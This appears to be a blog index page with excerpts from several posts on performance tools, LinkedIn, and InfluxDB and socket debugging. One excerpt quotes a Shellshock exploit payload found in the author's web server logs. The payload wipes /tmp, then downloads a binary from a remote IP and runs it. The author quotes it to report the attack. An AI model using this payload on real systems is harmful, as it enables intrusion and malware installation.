Brendan Gregg’s writings are always interesting and informative. I just saw a link on hacker news to a presentation he gave on “Broken Performance Tools“. It is wonderful, and succinctly explains many thing I’ve talked about here and elsewhere, but it goes far beyond what I’ve grumbled over. One of my favorite points in there … Read moreA wonderful read on metrics, profiling, benchmarking
I saw this attack in the day job’s web server logs today. From IP address 188.8.131.52, which appears to point back to Alibaba. This doesn’t mean anything in and of itself, until we look at the payload. ()%20%7B%20:;%20%7D;%20/bin/bash%20-c%20/x22rm%20-rf%20/tmp/*;echo%20wget%20http://184.108.40.206:999/htrdps%20-O%20/tmp/China.Z-thpwx%20%3E%3E%20/tmp/Run.sh;echo%20echo%20By%20China.Z%20%3E%3E%20/tmp/Run.sh;echo%20chmod%20777%20/tmp/China.Z-thpwx%20%3E%3E%20/tmp/Run.sh;echo%20/tmp/China.Z-thpwx%20%3E%3E%20/tmp/Run.sh;echo%20rm%20-rf%20/tmp/Run.sh%20%3E%3E%20/tmp/Run.sh;chmod%20777%20/tmp/Run.sh;/tmp/Run.sh/x22 This appears to be an attempt to exploit a bash hole. What is interesting is the IP … Read moreHas Alibaba been compromised?
I don’t get this. Yeah, sure, your contacts are curated, and I don’t accept everyone. I need to see some aspect of a connection and be pretty sure they wont spam me personally or try to spam my contacts. So when I find out that this is what happens, I want to block their access … Read moreWhy doesn't linkedin make removing a contact easy?
I ran into this a few weeks ago, and am just getting around to debugging it now. Traced the code, set up a debugger and followed the path of execution, and … and … Yup, its borked. So, I can submit a patch or 3 against the InfluxDB code, or roll a simpler more general … Read moreAnd the 0.8.3 InfluxDB no longer works with the InfluxDB perl module
I’d like to offer an excuse. But I can’t. It was one single missing newline. Just one. Missing. Newline. I changed my config file to use port 10000. I set up an nc listener on the remote host. nc -k -l a.b.c.d 10000 Then I invoked the code. And the data showed up. Without a … Read moreSolved the major socket bug … and it was a layer 8 problem
I know there is a node version, and I did try it before I wrote my own. Actually, the reason I wrote my own was that I tried it and … well … Link is here. And yes, the readme is borked about 1/2 way through. Doesn’t quite show the formatting of the output quite … Read moreInfluxDB cli is up on github